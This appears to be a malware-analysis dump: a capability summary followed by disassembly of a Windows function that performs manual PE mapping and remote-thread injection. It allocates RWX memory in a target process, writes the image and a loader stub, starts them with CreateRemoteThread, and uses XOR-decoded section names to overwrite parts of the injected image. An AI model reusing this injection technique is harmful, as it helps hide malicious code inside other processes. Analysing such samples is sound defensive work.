Function at 0x180013620
Capabilities:
Allocate or change rwx memory
Create thread
Encode data using xor
Inject thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 0x18], rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x27]
sub rsp, 0xc0
mov rax, qword [0x1800f0040]
xor rax, rsp
mov qword [rbp + 0x1f], rax
movsxd r15, dword [rdx + 0x3c]
xor r12d, r12d
add r15, rdx
mov qword [0x18026e4c0], r12
mov eax, 0x8664
mov rsi, rdx
mov r14, rcx
cmp word [r15 + 4], ax
jne 0x1800137d5
mov r8d, dword [r15 + 0x50]
xor edx, edx
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [0x18026e4c0], rax
mov rdx, rax
test rax, rax
je 0x1800137d5
mov rax, qword [sym.imp.KERNEL32.dll_LoadLibraryA]
xorps xmm0, xmm0
mov qword [rbp - 0x39], rax
mov r9d, 0x1000
mov rax, qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r8, rsi
mov rcx, r14
mov qword [rbp - 0x31], rax
movdqu xmmword [rbp - 0x21], xmm0
mov qword [rbp - 0x29], rdx
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1800137dd
movzx ebx, word [r15 + 0x14]
mov edi, r12d
add rbx, 0x2c
cmp word [r15 + 6], r12w
je 0x180013734
add rbx, r15
mov eax, dword [rbx - 4]
test eax, eax
je 0x180013725
mov r8d, dword [rbx]
mov r9d, eax
mov edx, dword [rbx - 8]
add r8, rsi
add rdx, qword [0x18026e4c0]
mov rcx, r14
mov qword [rsp + 0x20], r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x180013806
movzx eax, word [r15 + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jne 0x1800136f5
xor edx, edx
mov dword [rsp + 0x20], 4
mov r9d, 0x3000
mov rcx, r14
lea r8d, [rdx + 0x28]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r13, rax
test rax, rax
je 0x1800137d5
mov r9d, 0x28
mov qword [rsp + 0x20], r12
lea r8, [rbp - 0x39]
mov rdx, rax
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1800137d5
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov r9d, 0x3000
mov r8d, 0x1000
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov qword [rbp - 0x41], rax
mov rbx, rax
mov rcx, r14
test rax, rax
jne 0x180013829
mov rdx, qword [0x18026e4c0]
mov r9d, 0x8000
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov rcx, rsi
call fcn.1800145b0
xor al, al
mov rcx, qword [rbp + 0x1f]
xor rcx, rsp
call fcn.180014590
mov rbx, qword [rsp + 0x110]
add rsp, 0xc0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
ret
mov rcx, rsi
call fcn.1800145b0
mov rdx, qword [0x18026e4c0]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
jmp 0x1800137dd
mov r9d, 0x1000
mov qword [rsp + 0x20], r12
lea r8, [0x180013ae0]
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x1800137d5
mov qword [rsp + 0x30], r12
mov r9, rbx
mov dword [rsp + 0x28], r12d
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x20], r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_CreateRemoteThread]
test rax, rax
jne 0x1800138ac
mov rdx, qword [0x18026e4c0]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, rbx
jmp 0x1800137cc
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rbp + 0x17]
mov dword [rbp + 0x17], r12d
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_GetExitCodeProcess]
cmp dword [rbp + 0x17], 0x103
jne 0x1800137d5
xor eax, eax
mov qword [rsp + 0x20], r12
xorps xmm0, xmm0
mov qword [rbp + 0xf], rax
lea r8, [rbp - 0x11]
mov rdx, r13
mov rcx, r14
lea r9d, [rax + 0x28]
movups xmmword [rbp - 0x11], xmm0
movups xmmword [rbp - 1], xmm0
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
mov rbx, qword [rbp + 7]
cmp rbx, 0x404040
je 0x1800137d5
cmp rbx, 0x606060
je 0x1800137d5
mov ecx, 0xa
call qword [sym.imp.KERNEL32.dll_Sleep]
test rbx, rbx
je 0x1800138b5
mov ecx, 0x100000
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov r12, rax
test rax, rax
je 0x1800137d5
xor edx, edx
mov r8d, 0x100000
mov rcx, rax
call sub.VCRUNTIME140.dll_memset
movzx ebx, word [r15 + 0x14]
xor esi, esi
add rbx, 0x18
mov edi, esi
add rbx, r15
cmp word [r15 + 6], si
je 0x180013a99
nop dword [rax]
cmp dword [rbx + 0x10], esi
je 0x180013a86
mov dword [rbp - 0x51], 0xd0f1a47
mov rcx, rsi
mov dword [rbp - 0x4d], 0x1000f19
nop word [rax + rax]
lea eax, [rcx + 0x69]
xor byte [rbp + rcx - 0x51], al
inc rcx
cmp rcx, 6
jb 0x180013990
lea r8, [rbp - 0x51]
mov byte [rbp - 0x4a], sil
sub r8, rbx
mov rax, rbx
nop
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x1800139c3
inc rax
test ecx, ecx
jne 0x1800139b0
test edx, edx
je 0x180013a67
mov dword [rbp - 0x59], 0x1e181847
mov rcx, rsi
mov word [rbp - 0x55], 0xe
mov byte [rbp - 0x53], 1
nop
lea eax, [rcx + 0x69]
xor byte [rbp + rcx - 0x59], al
inc rcx
cmp rcx, 5
jb 0x1800139e0
lea r8, [rbp - 0x59]
mov byte [rbp - 0x53], sil
sub r8, rbx
mov rax, rbx
nop
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x180013a13
inc rax
test ecx, ecx
jne 0x180013a00
test edx, edx
je 0x180013a67
mov dword [rbp - 0x49], 0xe1847
mov rax, rsi
mov dword [rbp - 0x45], 0x1000d02
nop dword [rax + rax]
lea ecx, [rax + 0x69]
xor byte [rbp + rax - 0x49], cl
inc rax
cmp rax, 6
jb 0x180013a30
lea r8, [rbp - 0x49]
mov byte [rbp - 0x42], sil
sub r8, rbx
mov rax, rbx
nop
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x180013a63
inc rax
test ecx, ecx
jne 0x180013a50
test edx, edx
jne 0x180013a86
mov edx, dword [rbx + 0xc]
mov r8, r12
add rdx, qword [0x18026e4c0]
mov rcx, r14
mov r9d, dword [rbx + 0x10]
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [r15 + 6]
inc edi
add rbx, 0x28
cmp edi, eax
jne 0x180013970
mov rdx, qword [rbp - 0x41]
mov r9d, 0x8000
xor r8d, r8d
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov r9d, 0x8000
xor r8d, r8d
mov rdx, r13
mov rcx, r14
call qword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov ecx, 0x1f4
call qword [sym.imp.KERNEL32.dll_Sleep]
mov al, 1
jmp 0x1800137df